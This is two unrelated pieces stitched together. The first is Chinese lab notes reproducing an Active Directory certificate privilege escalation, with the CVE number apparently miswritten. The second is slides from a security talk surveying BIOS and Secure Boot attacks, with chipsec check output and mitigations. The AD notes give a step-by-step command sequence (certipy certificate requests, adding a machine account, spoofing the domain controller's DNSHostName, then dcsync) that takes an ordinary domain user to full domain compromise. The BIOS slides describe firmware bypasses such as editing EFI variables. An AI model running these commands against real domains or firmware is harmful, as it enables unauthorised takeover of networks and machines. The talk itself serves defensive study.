impacket
需要将目标：域、域控、CA服务器主机名加入hosts
这里如果你的CA服务器主机名没写对会有问题，后面会说到
首先要获取CA的服务器主机名
certutil -config - -ping
利用certipy用域用户去申请签名，会返回用户的pfx。
certipy req 'lunar.eruca.com/thm:Password1@@lundc.eruca.com' -ca LUNAR-LUNDC-CA -template User
2022/5/16 05:03
Evernote Export
file:///C:/Users/jiushi/Desktop/Active Directory 域权限提升漏洞(CVE-2022-26963)漏洞复现.html
2/7
利用certipy auth可以获取对应用户的ntlm
certipy auth -pfx thm.pfx
可以使用用户的ntlm去getTGT获取凭证...(未复现，待补充)
利用addcomputer.py添加机器账户
addcomputer.py 'lunar.eruca.com/thm:Password1@' -method LDAPS -computer-name 'THMPC' -computer-pass 'Password1@'
靶场给的目标连接DC的方法是ssh上去，用的普通域用户（域用户不能直接登录DC，通过ssh或者其他的服务可以）
获取添加的机器用户信息
Get-ADComputer THMPC -properties DNSHostName,ServicePrincipalName
2022/5/16 05:03
Evernote Export
file:///C:/Users/jiushi/Desktop/Active Directory 域权限提升漏洞(CVE-2022-26963)漏洞复现.html
3/7
清除SPN修改DNSHostName，否则添加DNSHostName出现以下错误
Set-ADComputer THMPC -ServicePrincipalName @{}
Set-ADComputer THMPC -DnsHostName LUNDC.lunar.eruca.com
利用修改DNSHostName后的机器账户去申请证书，并获取Ntlm
certipy req 'lunar.eruca.com/THMPC$:Password1@'@lundc.eruca.com -ca LUNAR-LUNDC-CA -template Machine
certipy auth -pfx 'lundc.pfx'
2022/5/16 05:03
Evernote Export
file:///C:/Users/jiushi/Desktop/Active Directory 域权限提升漏洞(CVE-2022-26963)漏洞复现.html
4/7
剩下的就是dcsync了
记录遇到的其他问题
CA服务器主机名不对时候利用certipy请求将出现以下错误
CA证书服务器被吊销出现
解决方法：
windows CA ：由于吊销服务器已脱机，吊销功能无法检查吊销。
2022/5/16 05:03
Evernote Export
file:///C:/Users/jiushi/Desktop/Active Directory 域权限提升漏洞(CVE-2022-26963)漏洞复现.html
5/7
方法一：直接重启CA服务器问题解决
方法二：（网上方案）
吊销服务尝试启动，错误为RPC服务器未响应。
CMD运行：certutil.exe -setreg CA\LogLevel
利用PowerView_master/ADExplorer删除SPN信息并添加DNSHostName一直出现约束冲突的情况，但是确实是成功清除了SPN信息的 (当是用Set-ADComputer清除SPN信
息在进行设置DNSHostName就不会有这种错误)
2022/5/16 05:03
Evernote Export
file:///C:/Users/jiushi/Desktop/Active Directory 域权限提升漏洞(CVE-2022-26963)漏洞复现.html
6/7
Set-ADComputer清除SPN信息后在用powerview/bloodyAD在设置DNSHostName就不会有问题 （推特上用ldapmoify修改的还没试）
推特上的原方法：
2022/5/16 05:03
Evernote Export
file:///C:/Users/jiushi/Desktop/Active Directory 域权限提升漏洞(CVE-2022-26963)漏洞复现.html
7/7
在cs/webshell不知道CA服务器主机名怎么办？
利用certutil -dump -v可以不弹框获取
certutil -dump -v
只能靠赌了
一般是下面格式：
DC-<CA>-<数字>
例如:
YAYI-WIN-5CHMN9C4UES-CA
YAYI-WIN-5CHMN9C4UES-CA-1
YAYI-WIN-5CHMN9C4UES-CA-2 | pdf |
Summary of Attacks Against
BIOS and Secure Boot
Yuriy Bulygin, John Loucaides, Andrew Furtak,
Oleksandr Bazhaniuk, Alexander Matrosov
Intel Security
In The Beginning
Was The Legacy BIOS..
Legacy BIOS
1.
CPU Reset vector in BIOS ‟ROM‟ (Boot Block)
2.
Basic CPU, chipset initialization
3.
Initialize Cache-as-RAM, load and run from cache
4.
Initialize DIMMs, create address map..
5.
Enumerate PCIe devices..
6.
Execute Option ROMs on expansion cards
7.
Load and execute MBR
8.
2nd Stage Boot Loader OS Loader OS kernel
Also Technical Note: UEFI BIOS vs. Legacy BIOS, Advantech
Then World Moved to UEFI..
UEFI Boot
From Secure Boot, Network Boot, Verified Boot, oh my and almost every publication on UEFI
UEFI [Compliant] Firmware
SEC
Pre-EFI
Init (PEI)
Driver
Exec Env
(DXE)
Boot Dev
Select (BDS)
Runtime / OS
S-CRTM; Init caches/MTRRs; Cache-as-RAM (NEM); Recovery; TPM Init
S-CRTM: Measure DXE/BDS
Early CPU/PCH Init
Memory (DIMMs, DRAM) Init, SMM Init
Continue initialization of platform & devices
Enum FV, dispatch drivers (network, I/O, service..)
Produce Boot and Runtime Services
Boot Manager (Select Boot Device)
EFI Shell/Apps; OS Boot Loader(s)
ExitBootServices. Minimal UEFI services (Variable)
ACPI, UEFI SystemTable, SMBIOS table
CPU Reset
Signed BIOS Update & OS Secure Boot
Hardware
I/O
Memory
Network
Graphics
UEFI DXE Core / Dispatcher
UEFI OS Loaders (winload.efi, winresume.efi)
System Firmware (SEC/PEI)
UEFI
OROM
UEFI
Boot Loader
Bootx64.efi
Bootmgfw.efi
Signed
BIOS
Update
UEFI
OROM
UEFI
App
UEFI
App
DXE
Driver
DXE
Driver
OS Kernel / Early Launch Anti-Malware (ELAM)
UEFI
Secure
Boot
OS Driver
OS Driver
Windows 8
Secure
Boot
Attacks Against Both Of These..
BIOS Attack Surface: SPI Flash Protection
System
FW/BIOS
SPI Flash
Protection
BIOS
Update
SMRAM
Protection
Hardware
Config.
SMI
Handlers
Secure
Boot
BIOS
Settings
(NVRAM,
Variables)
…
SPI Flash Write Protection
• Often still not properly enabled on many systems
• SMM based write protection of entire BIOS region is often not used:
BIOS_CONTROL[SMM_BWP]
• If SPI Protected Ranges (mode agnostic) are used (defined by PR0-
PR4 in SPI MMIO), they often don‟t cover entire BIOS & NVRAM
• Some platforms use SPI device specific WP protection but only for
boot block/startup code or SPI Flash descriptor region
• Persistent BIOS Infection (used coreboot‟s flashrom on legacy BIOS)
• Evil Maid Just Got Angrier: Why FDE with TPM is Not Secure on Many Systems
• BIOS Chronomancy: Fixing the Static Root of Trust for Measurement
• A Tale Of One Software Bypass Of Windows 8 Secure Boot
• Mitigation: BIOS_CONTROL[SMM_BWP] = 1 and SPI PRx
•chipsec_main --module common.bios_wp
• Or Copernicus from MITRE
SPI Flash (BIOS) Write Protection is Still a Problem
Checking Manually..
Windows:
RWEverything
Linux:
setpci -s 00:1F.0 DC.B
Better Way to Check If Your BIOS Is Write-Protected
[*] running module: chipsec.modules.common.bios_wp
[x][ =======================================================================
[x][ Module: BIOS Region Write Protection
[x][ =======================================================================
[*] BIOS Control = 0x02
[05] SMM_BWP = 0 (SMM BIOS Write Protection)
[04] TSS = 0 (Top Swap Status)
[01] BLE = 1 (BIOS Lock Enable)
[00] BIOSWE = 0 (BIOS Write Enable)
[!] Enhanced SMM BIOS region write protection has not been enabled (SMM_BWP is not used)
[*] BIOS Region: Base = 0x00500000, Limit = 0x007FFFFF
SPI Protected Ranges
------------------------------------------------------------
PRx (offset) | Value | Base | Limit | WP? | RP?
------------------------------------------------------------
PR0 (74) | 87FF0780 | 00780000 | 007FF000 | 1 | 0
PR1 (78) | 00000000 | 00000000 | 00000000 | 0 | 0
PR2 (7C) | 00000000 | 00000000 | 00000000 | 0 | 0
PR3 (80) | 00000000 | 00000000 | 00000000 | 0 | 0
PR4 (84) | 00000000 | 00000000 | 00000000 | 0 | 0
[!] SPI protected ranges write-protect parts of BIOS region (other parts of BIOS can be
modified)
[!] BIOS should enable all available SMM based write protection mechanisms or configure
SPI protected ranges to protect the entire BIOS region
[-] FAILED: BIOS is NOT protected completely
# chipsec_main.py --module common.bios_wp
SPI Flash & BIOS Is Not Write Protected
Demo
(Insecure SPI Flash Protection)
From Analytics, and Scalability, and UEFI Exploitation by Teddy Reed
Patch attempts to enable BIOS write protection (sets BIOS_CONTROL[BLE]).
Picked up by Subzero
SPI Flash Write Protection
• Some systems write-protect BIOS by disabling BIOS Write-Enable
(BIOSWE) and setting BIOS Lock Enable (BLE) but don‟t use SMM
based write-protection BIOS_CONTROL[SMM_BWP]
• SMI event is generated when Update SW writes BIOSWE=1
• Possible attack against this configuration is to block SMI events
• E.g. disable all chipset sources of SMI: clear SMI_EN[GBL_SMI_EN] if
BIOS didn‟t lock SMI config: Setup for Failure: Defeating SecureBoot
• Another variant is to disable specific TCO SMI source used for
BIOSWE/BLE (clear SMI_EN[TCO_EN] if BIOS didn‟t lock TCO config.)
• Mitigation: BIOS_CONTROL[SMM_BWP] = 1 and lock SMI config
•chipsec_main --module common.bios_smi
SMI Suppression Attack Variants
Are All Required SMIs Enabled and Locked?
[*] running module: chipsec.modules.common.bios_smi
[x][ =======================================================================
[x][ Module: SMI Events Configuration
[x][ =======================================================================
[-] SMM BIOS region write protection has not been enabled (SMM_BWP is not used)
[*] PMBASE (ACPI I/O Base) = 0x0400
[*] SMI_EN (SMI Control and Enable) register [I/O port 0x430] = 0x00002033
[13] TCO_EN (TCO Enable) = 1
[00] GBL_SMI_EN (Global SMI Enable) = 1
[+] All required SMI events are enabled
[*] TCOBASE (TCO I/O Base) = 0x0460
[*] TCO1_CNT (TCO1 Control) register [I/O port 0x468] = 0x1800
[12] TCO_LOCK = 1
[+] TCO SMI configuration is locked
[*] GEN_PMCON_1 (General PM Config 1) register [BDF 0:31:0 + 0xA0] = 0x0A14
[04] SMI_LOCK = 1
[+] SMI events global configuration is locked
[+] PASSED: All required SMI sources seem to be enabled and locked!
SPI Flash Write Protection
• Some BIOS rely on SPI Protected Range (PR0-PR4 registers in SPI
MMIO) to provide write protection of regions of SPI Flash
• SPI Flash Controller configuration including PRx has to be locked
down by BIOS via Flash Lockdown
• If BIOS doesn‟t lock SPI Controller configuration (by setting
FLOCKDN bit in HSFSTS SPI MMIO register), malware can disable
SPI protected ranges re-enabling write access to SPI Flash
•chipsec_main --module common.spi_lock
Locking SPI Flash Configuration
Is SPI Flash Configuration Locked?
[+] imported chipsec.modules.common.spi_lock
[x][ =======================================================================
[x][ Module: SPI Flash Controller Configuration Lock
[x][ =======================================================================
[*] HSFSTS register = 0x0004E008
FLOCKDN = 1
[+] PASSED: SPI Flash Controller configuration is locked
BIOS Attack Surface: BIOS Update
System
FW/BIOS
SPI Flash
Protection
BIOS
Update
SMRAM
Protection
Hardware
Config.
SMI
Handlers
Secure
Boot
BIOS
Settings
(NVRAM,
Variables)
…
Legacy BIOS Update and Secure Boot
• Mebromi malware includes BIOS infector & MBR bootkit
components
• Patches BIOS ROM binary injecting malicious ISA Option
ROM with legitimate BIOS image mod utility
• Triggers SW SMI 0x29/0x2F to erase SPI flash then write
patched BIOS binary
Signed BIOS Updates Are Rare
• No concept of Secure or Verified Boot
• Wonder why TDL4 and likes flourished?
No Signature Checks of OS boot loaders (MBR)
UEFI BIOS Update Problems
• Unsigned sections within BIOS update (e.g. boot splash
logo BMP image)
• BIOS displayed the logo before SPI Flash write-
protection was enabled
• EDK ConvertBmpToGopBlt() integer overflow followed by
memory corruption during DXE while parsing BMP image
• Copy loop overwrote #PF handler and triggered #PF
• Attacking Intel BIOS
Parsing of Unsigned BMP Image in UEFI FW Update Binary
UEFI BIOS Update Problems
• Legacy BIOS with signed BIOS update
• OS schedules BIOS update placing new BIOS image in
DRAM split into RBU packets
• Upon reboot, BIOS Update SMI Handler reconstructs BIOS
image from RBU packets in SMRAM and verifies signature
• Buffer overflow (memcpy with controlled size/dest/src)
when copying RBU packet to a buffer with reconstructed
BIOS image
• BIOS Chronomancy: Fixing the Core Root of Trust for Measurement
• Defeating Signed BIOS Enforcement
RBU Packet Parsing Vulnerability
BIOS Attack Surface: SMRAM Protection
System
FW/BIOS
SPI Flash
Protection
BIOS
Update
SMRAM
Protection
Hardware
Config.
SMI
Handlers
Secure
Boot
BIOS
Settings
(NVRAM,
Variables)
…
Problems With HW Configuration/Protections
• D_LCK bit locks down Compatible SMM space (a.k.a. CSEG)
configuration (SMRAMC)
• SMRAMC[D_OPEN]=0 forces access to legacy SMM space
decode to system bus rather than to DRAM where SMI
handlers are when CPU is not in System Management
Mode (SMM)
• When D_LCK is not set by BIOS, SMM space decode can be
changed to open access to CSEG when CPU is not in SMM:
Using CPU SMM to Circumvent OS Security Functions
• Also Using SMM For Other Purposes
• chipsec_main –-module common.smm
Unlocked Compatible/Legacy SMRAM
Compatible SMM Space: Normal Decode
0xBFFFF
Compatible SMRAM (CSEG)
SMM access to
CSEG is decoded to
DRAM, non-SMM
access is sent to
system bus
0xA0000
Non SMM
access
SMRAMC [D_LCK] = 1
SMRAMC [D_OPEN] = 0
Compatible SMM Space: Unlocked
0xBFFFF
Compatible SMRAM (CSEG)
Non-SMM access to
CSEG is decoded to
DRAM where SMI
handlers can be
modified
0xA0000
Non SMM
access
SMRAMC [D_LCK] = 0
SMRAMC [D_OPEN] = 1
Is Compatible SMRAM Locked?
[+] imported chipsec.modules.common.smm
[x][ =================================================================
[x][ Module: SMM memory (SMRAM) Lock
[x][ =================================================================
[*] SMRAM register = 0x1A ( D_LCK = 1, D_OPEN = 0 )
[+] PASSED: SMRAM is locked
Problems With HW Configuration/Protections
• CPU executes from cache if memory type is cacheable
• Ring0 exploit can make SMRAM cacheable (variable MTRR)
• Ring0 exploit can then populate cache-lines at SMBASE with
SMI exploit code (ex. modify SMBASE) and trigger SMI
• CPU upon entering SMM will execute SMI exploit from cache
• Attacking SMM Memory via Intel Cache Poisoning
• Getting Into the SMRAM: SMM Reloaded
• CPU System Management Range Registers (SMRR) forcing UC
and blocking access to SMRAM when CPU is not in SMM
• BIOS has to enable SMRR
• chipsec_main –-module common.smrr
SMRAM “Cache Poisoning” Attacks
Is SMRAM Exposed To Cache Poisoning Attack?
[*] running module: chipsec.modules.common.smrr
[x][ =======================================================================
[x][ Module: CPU SMM Cache Poisoning / SMM Range Registers (SMRR)
[x][ =======================================================================
[+] OK. SMRR are supported in IA32_MTRRCAP_MSR
[*] Checking SMRR Base programming..
[*] IA32_SMRR_BASE_MSR = 0x00000000BD000006
BASE = 0xBD000000
MEMTYPE = 6
[+] SMRR Memtype is WB
[+] OK so far. SMRR Base is programmed
[*] Checking SMRR Mask programming..
[*] IA32_SMRR_MASK_MSR = 0x00000000FF800800
MASK = 0xFF800000
VLD = 1
[+] OK so far. SMRR are enabled in SMRR_MASK MSR
[*] Verifying that SMRR_BASE/MASK have the same values on all logical CPUs..
[CPU0] SMRR_BASE = 00000000BD000006, SMRR_MASK = 00000000FF800800
[CPU1] SMRR_BASE = 00000000BD000006, SMRR_MASK = 00000000FF800800
[CPU2] SMRR_BASE = 00000000BD000006, SMRR_MASK = 00000000FF800800
[CPU3] SMRR_BASE = 00000000BD000006, SMRR_MASK = 00000000FF800800
[+] OK so far. SMRR MSRs match on all CPUs
[+] PASSED: SMRR protection against cache attack seems properly configured
Problems With HW Configuration/Protections
• Remap Window is used to reclaim DRAM range below 4Gb
“lost” for Low MMIO
• Defined by REMAPBASE/REMAPLIMIT registers in Memory
Controller PCIe config. space
• MC remaps Reclaim Window access to DRAM below 4GB
(above “Top Of Low DRAM”)
• If not locked, OS malware can reprogram target of reclaim to
overlap with SMRAM (or something else)
• Preventing & Detecting Xen Hypervisor Subversions
• BIOS has to lock down Memory Map registers including
REMAP*, TOLUD/TOUUD
• chipsec_main --module remap
SMRAM Memory Remapping/Reclaim Attack
Memory Remapping: Normal Memory Map
Memory Reclaim/Remap
Range
Low MMIO Range
TOLUD
4GB
SMRAM
REMAPBASE
REMAPLIMIT
Access is
remapped to
DRAM range „lost‟
to MMIO (memory
reclaimed)
Access
Memory Remapping: SMRAM Remapping Attack
Memory Reclaim/Remap
Range
Low MMIO Range
TOLUD
4GB
SMRAM
REMAPBASE
REMAPLIMIT
Target range of
memory reclaim
changed to
SMRAM
Access
Is Memory Remapping Attack Possible?
[*] running module: chipsec.modules.remap
[x][ =======================================================================
[x][ Module: Memory Remapping Configuration
[x][ =======================================================================
[*] Registers:
[*] TOUUD : 0x000000013E000001
[*] REMAPLIMIT: 0x000000013DF00001
[*] REMAPBASE : 0x0000000100000001
[*] TOLUD : 0xBFA00001
[*] TSEGMB : 0xBD000001
[*] Memory Map:
[*] Top Of Upper Memory: 0x000000013E000000
[*] Remap Limit Address: 0x000000013DFFFFFF
[*] Remap Base Address : 0x0000000100000000
[*] 4GB : 0x0000000100000000
[*] Top Of Low Memory : 0x00000000BFA00000
[*] TSEG (SMRAM) Base : 0x00000000BD000000
[*] checking locks..
[+] TOUUD is locked
[+] TOLUD is locked
[+] REMAPBASE and REMAPLIMIT are locked
[*] checking alignment..
[+] All REMAP*/TOUUD/TOLUD addresses are 1MB aligned
[*] checking remap programming..
[*] Memory Remap is enabled
[+] Remap window is programmed correctly: 4GB <= REMAPBASE <= REMAPLIMIT
[+] PASSED: Memory Remap is configured correctly and locked
Problems With HW Configuration/Protections
• If BIOS doesn‟t lock down memory config, boundary separating
DRAM and MMIO (TOLUD) can be moved somewhere else. E.g.
malware can move it below SMRAM to make SMRAM decode as
MMIO
• Graphics Aperture can then be overlapped with SMRAM and used to
redirect MMIO access to memory range defined by PTE entries in
Graphics Translation Table (GTT)
• When CPU accesses protected SMRAM range to execute SMI
handler, access is redirected to unprotected memory range
somewhere else in DRAM
• Similarly to Remapping Attack, BIOS has to lock down HW memory
configuration (i.e. TOLUD) to mitigate this attack
• System Management Mode Design and Security Issues (GART)
SMRAM Redirection via Graphics Aperture
SMRAM Access in SMM : Normal Memory Map
Low MMIO Range
TOLUD
4GB
SMRAM
CPU executes
instructions (mov)
from SMRAM normally
mov ebx,imm32
Code fetch at
SMBASE in
SMM
Graphics Aperture
GTT MMIO
Access to GFx
Aperture
GFx Memory
Access to GFx aperture
(MMIO) is redirected to GFx
DRAM range per GTT PTEs
GTT PTEs
SMRAM Access in SMM : Redirection Attack
Low MMIO Range
TOLUD
4GB
SMRAM
CPU executes instructions
from fake SMRAM redirected
to by MMIO GFx Aperture
per malicious GTT PTEs
mov ebx,imm32
Code fetch at
SMBASE in
SMM
Graphics Aperture
GTT MMIO
GFx Memory
Fake SMRAM
GTT PTEs
Problems With HW Configuration/Protections
• SMRAM has to be protected from DMA Attack
• Protection from inbound DMA access is guaranteed by
programming TSEG range
• When BIOS doesn‟t lock down TSEG range configuration,
malware can move TSEG outside of where actual SMRAM is
• Then program one of DMA capable devices (e.g. GPU device)
or Graphics Aperture to access SMRAM
• Programmed I/O accesses: a threat to Virtual Machine Monitors?
• System Management Mode Design and Security Issues
• BIOS has to lock down configuration required to define range
protecting SMRAM from inbound DMA access (e.g. TSEG range)
• chipsec_main --module smm_dma
DMA/GFx Aperture Attacks Against SMRAM
DMA Access to SMRAM: Normal Memory Map
Low MMIO Range
TOLUD
4GB
SMRAM
DMA access to SMRAM
is blocked due to TSEG
covering SMRAM
TSEG Base
GFx Mem Base
DMA Access to SMRAM: DMA Attacks
Low MMIO Range
TOLUD
4GB
SMRAM
DMA access to SMRAM
is not blocked as TSEG
Base moved
Graphics Aperture
GTT MMIO
Access to GFx Aperture is
redirected to SMRAM
TSEG Base
GFx Mem Base
GTT PTEs
Is SMRAM Protected From DMA Attacks?
[*] running module: chipsec.modules.smm_dma
[x][ =======================================================================
[x][ Module: SMRAM DMA Protection
[x][ =======================================================================
[*] Registers:
[*] TOLUD : 0xBFA00001
[*] BGSM : 0xBD800001
[*] TSEGMB : 0xBD000001
[*] SMRR_BASE: 0x00000000BD000006
[*] SMRR_MASK: 0x00000000FF800800
[*] Memory Map:
[*] Top Of Low Memory : 0xBFA00000
[*] TSEG Range (TSEGMB-BGSM): [0xBD000000-0xBD7FFFFF]
[*] SMRR Range : [0xBD000000-0xBD7FFFFF]
[*] checking locks..
[+] TSEGMB is locked
[+] BGSM is locked
[*] checking TSEG covers entire SMRR range..
[+] TSEG covers entire SMRAM
[+] PASSED: TSEG is properly configured. SMRAM is protected from DMA attacks
BIOS Attack Surface: Hardware Configuration
System
FW/BIOS
SPI Flash
Protection
BIOS
Update
SMRAM
Protection
Hardware
Config.
SMI
Handlers
Secure
Boot
BIOS
Settings
(NVRAM,
Variables)
…
Problems With HW Configuration/Protections
• “Top Swap” mode allows fault-tolerant update of the BIOS boot-block
• Enabled by BUC[TS] in Root Complex MMIO range
• Chipset inverts A16 line (A16-A20 depending on the size of boot-block) of
the address targeting ROM, e.g. when CPU fetches reset vector on reboot
• Thus CPU executes from 0xFFFEFFF0 inside “backup” boot-block rather
than from 0xFFFFFFF0
• Top Swap indicator is not reset on reboot (requires RTC reset)
• When not locked/protected, malware can redirect execution of reset
vector to alternate (backup) boot-block
• BIOS Boot Hijacking and VMware Vulnerabilities Digging
• BIOS has to lock down Top Swap configuration (BIOS Interface Lock in
General Control & Status register) & protect swap boot-block range in SPI
• chipsec_main --module common.bios_ts
BIOS Top Boot-Block Swap Attack
BIOS Top Swap
Original BIOS Boot-Block
0xFFFFFFF0
CPU normally fetches
reset vector at FFFFFFF0
0xFFFEFFF0
Alternate BIOS Boot-Block
(BUC[TS] = 1)
When TS is not locked:
• Malware sets BUC[TS]
• Out of reset, CPU starts
@ reset vector
• Chipset inverts A16
• CPU fetches instr. from
alternate BB (at
FFFEFFF0) instead of
FFFFFFF0
Is BIOS Interface Locked?
[+] imported chipsec.modules.common.bios_ts
[x][ =======================================================================
[x][ Module: BIOS Interface Lock and Top Swap Mode
[x][ =======================================================================
[*] RCBA General Config base: 0xFED1F400
[*] GCS (General Control and Status) register = 0x00000021
[10] BBS (BIOS Boot Straps) = 0x0
[00] BILD (BIOS Interface Lock-Down) = 1
[*] BUC (Backed Up Control) register = 0x00000000
[00] TS (Top Swap) = 0
[*] BC (BIOS Control) register = 0x2A
[04] TSS (Top Swap Status) = 0
[*] BIOS Top Swap mode is disabled
[+] PASSED: BIOS Interface is locked (including Top Swap Mode)
BIOS Attack Surface: SMI Handlers
System
FW/BIOS
SPI Flash
Protection
BIOS
Update
SMRAM
Protection
Hardware
Config.
SMI
Handlers
Secure
Boot
BIOS
Settings
(NVRAM,
Variables)
…
Legacy SMI Handlers Calling Out of SMRAM
Phys Memory
SMRAM
CALL F000:8070
Legacy BIOS Shadow
(F/ E-segments)
PA = 0xF0000
1 MB
Legacy SMI Handlers Calling Out of SMRAM
Phys Memory
SMRAM
CALL F000:8070
Legacy BIOS Shadow
(F/ E-segments)
PA = 0xF0000
1 MB
Code fetch
in SMM
Legacy SMI Handlers Calling Out of SMRAM
Phys Memory
SMRAM
CALL F000:8070
Legacy BIOS Shadow
(F/ E-segments)
PA = 0xF0000
1 MB
0xF8070: payload
0F000:08070 =
0xF8070 PA
Code fetch
in SMM
Legacy SMI Handlers Calling Out of SMRAM
• OS level exploit stores payload in F-segment below 1MB
(0xF8070 Physical Address)
• Exploit has to also reprogram PAM for F-segment
• Then triggers “SW SMI” via APMC port (I/O 0xB2)
• SMI handler does CALL 0F000:08070 in SMM
• BIOS SMM Privilege Escalation Vulnerabilities (14 issues in
just one SMI Handler)
• System Management Mode Design and Security Issues
Branch Outside of SMRAM
Function Pointers Outside of SMRAM (DXE SMI)
Phys Memory
SMRAM
mov ACPINV+x, %rax
call *0x18(%rax)
ACPI NV Area
payload
1. Read function
pointer from ACPI
NVS memory
(outside SMRAM)
Pointer to payload
2. Call function
pointer (payload
outside SMRAM)
Attacking Intel BIOS
BIOS Attack Surface: Secure Boot
System
FW/BIOS
SPI Flash
Protection
BIOS
Update
SMRAM
Protection
Hardware
Config.
SMI
Handlers
Secure
Boot
BIOS
Settings
(NVRAM,
Variables)
…
Secure Boot Key Hierarchy
Platform Key (PK)
Verifies KEKs
Platform Vendor‟s Cert
Key Exchange Keys (KEKs)
Verify db and dbx
Earlier rev‟s: verifies image signatures
Authorized Database (db)
Forbidden Database (dbx)
X509 certificates, SHA1/SHA256 hashes of allowed & revoked images
Earlier revisions: RSA-2048 public keys, PKCS#7 signatures
Platform Key (Root Key) has to be Valid
PK variable exists in NVRAM?
Yes. Set SetupMode variable to USER_MODE
No. Set SetupMode variable to SETUP_MODE
SecureBootEnable variable exists in NVRAM?
Yes
SecureBootEnable variable is SECURE_BOOT_ENABLE and
SetupMode variable is USER_MODE? Set SecureBoot variable to
ENABLE
Else? Set SecureBoot variable to DISABLE
No
SetupMode is USER_MODE? Set SecureBoot variable to ENABLE
SetupMode is SETUP_MODE? Set SecureBoot variable to DISABLE
First Public Windows 8 Secure Boot Bypass
A Tale Of One Software Bypass Of Windows 8 Secure Boot
Platform Key in NVRAM Can Be Modified
Corrupt Platform Key EFI variable in NVRAM
Name (“PK”) or Vendor GUID {8BE4DF61-93CA-11D2-
AA0D-00E098032B8C}
Recall that AuthenticatedVariableService DXE driver
enters Secure Boot SETUP_MODE when correct “PK” EFI
variable cannot be located in EFI NVRAM
Main volatile SecureBoot variable is then set to DISABLE
DXE ImageVerificationLib then assumes Secure Boot is
off and skips Secure Boot checks
Generic exploit, independent of the platform/vendor
1 bit modification!
PK Mod: Before and After
Exploit Programs SPI Controller & Modifies SPI Flash
Hardware
I/O
Memory
Network
Graphics
UEFI DXE Core / Dispatcher
UEFI OS Loaders
System Firmware (SEC/PEI)
DXE
Driver
UEFI
Boot Loader
Bootx64.efi
Bootmgfw.efi
Signed
BIOS
Update
DXE
Driver
OS Kernel
OS Driver
OS Exploit
Modify Secure
Boot FW or
config in ROM
Then Installs UEFI Bootkit on ESP
Hardware
I/O
Memory
Network
Graphics
UEFI DXE Core / Dispatcher
UEFI OS Loaders
System Firmware (SEC/PEI)
DXE
Driver
UEFI
Bootkit
Signed
BIOS
Update
DXE
Driver
OS Kernel
OS Driver
OS Exploit
Install
UEFI
Bootkit
Modified FW Doesn’t Enforce Secure Boot
Hardware
I/O
Memory
Network
Graphics
UEFI DXE Core / Dispatcher
UEFI OS Loaders
System Firmware (SEC/PEI)
DXE
Driver
UEFI
Bootkit
Signed
BIOS
Update
DXE
Driver
OS Kernel
OS Driver
OS Exploit
Demo
(Bypassing Secure Boot by Corrupting Platform Key in SPI)
Turn On/Off Secure Boot in BIOS Setup
How to Disable Secure Boot?
SecureBootEnable UEFI Variable
When turning ON/OFF Secure Boot, it should change
Hmm.. but there is no SecureBootEnable variable
Where does the BIOS store Secure Boot Enable flag?
Should be NV somewhere in SPI Flash..
Just dump SPI flash with Secure Boot ON and OFF
Then compare two SPI flash images
Yeah.. Good Luck With That ;(
There’s A Better Way..
Secure Boot On
Secure Boot Off
Secure Boot On
Secure Boot Off
Secure Boot Disable is Really in Setup!
chipsec_util.py spi dump spi.bin
chipsec_util.py uefi nvram spi.bin
chipsec_util.py decode spi.bin
Demo
(Attack Disabling Secure Boot)
Secure Boot: Image Verification Policies
DxeImageVerificationLib defines policies applied to different types of
images and on security violation
IMAGE_FROM_FV (ALWAYS_EXECUTE), IMAGE_FROM_FIXED_MEDIA,
IMAGE_FROM_REMOVABLE_MEDIA, IMAGE_FROM_OPTION_ROM
ALWAYS_EXECUTE, NEVER_EXECUTE,
ALLOW_EXECUTE_ON_SECURITY_VIOLATION
DEFER_EXECUTE_ON_SECURITY_VIOLATION
DENY_EXECUTE_ON_SECURITY_VIOLATION
QUERY_USER_ON_SECURITY_VIOLATION
SecurityPkg\Library\DxeImageVerificationLib
http://sourceforge.net/apps/mediawiki/tianocore/index.php?title=SecurityPkg
Secure Boot: Image Verification Policies
Image Verification Policy?
(IMAGE_FROM_FV)
ALWAYS_EXECUTE?
EFI_SUCCESS
NEVER_EXECUTE?
EFI_ACCESS_DENIED
Storing Image Verification Policies in Setup
•
Read „Setup‟ UEFI variable and look for sequences
•
04 04 04, 00 04 04, 05 05 05, 00 05 05
•
We looked near Secure Boot On/Off Byte!
•
Modify bytes corresponding to policies to 00 (ALWAYS_EXECUTE)
then write modified „Setup‟ variable
Modifying Image Verification Policies
[CHIPSEC] Reading EFI variable Name='Setup' GUID={EC87D643-EBA4-4BB5-A1E5-
3F3E36B20DA9} from 'Setup_orig.bin' via Variable API..
EFI variable:
Name : Setup
GUID : EC87D643-EBA4-4BB5-A1E5-3F3E36B20DA9
Data :
..
01 01 01 00 00 00 00 01 01 01 00 00 00 00 00 00 |
00 00 00 00 00 00 01 01 00 00 00 04 04 |
[CHIPSEC] (uefi) time elapsed 0.000
[CHIPSEC] Writing EFI variable Name='Setup' GUID={EC87D643-EBA4-4BB5-A1E5-
3F3E36B20DA9} from 'Setup_policy_exploit.bin' via Variable API..
Writing EFI variable:
Name : Setup
GUID : EC87D643-EBA4-4BB5-A1E5-3F3E36B20DA9
Data :
..
01 01 01 00 00 00 00 01 01 01 00 00 00 00 00 00 |
00 00 00 00 00 00 01 01 00 00 04 00 00 |
[CHIPSEC] (uefi) time elapsed 0.203
OptionRomPolicy
FixedMediaPolicy
RemovableMediaPolicy
Allows Bypassing Secure Boot
Issue was co-discovered with Corey Kallenberg, Xeno Kovah, John Butterworth and Sam Cornwell from MITRE
All Your Boot Are Belong To Us, Setup for Failure: Defeating SecureBoot
Demo
(Bypassing Secure Boot via Image Verification Policies)
How To Avoid These?
1.
Do not store critical Secure Boot configuration in UEFI variables
accessible to potentially compromised OS kernel or boot loader
Remove RUNTIME_ACCESS attribute (reduce access permissions)
Use authenticated variable where required by UEFI Spec
Disabling Secure Boot requires physically present user
2.
Set Image Verification Policies to secure values
Use Platform Configuration Database (PCD) for the policies
Using ALWAYS_EXECUTE,ALLOW_EXECUTE_* is a bad idea
Especially check PcdOptionRomImageVerificationPolicy
Default should be NEVER_EXECUTE or DENY_EXECUTE
Recap on Image Verification Handler
SecureBoot EFI variable doesn‟t exist or equals to
SECURE_BOOT_MODE_DISABLE? EFI_SUCCESS
File is not valid PE/COFF image? EFI_ACCESS_DENIED
SecureBootEnable NV EFI variable doesn‟t exist or equals to
SECURE_BOOT_DISABLE? EFI_SUCCESS
SetupMode NV EFI variable doesn‟t exist or equals to SETUP_MODE?
EFI_SUCCESS
EFI Executables
Any EFI executables other then PE/COFF?
YES! – EFI Byte Code (EBC), Terse Executable (TE)
But EBC image is a 32 bits PE/COFF image wrapping byte
code. No luck
Terse Executable format:
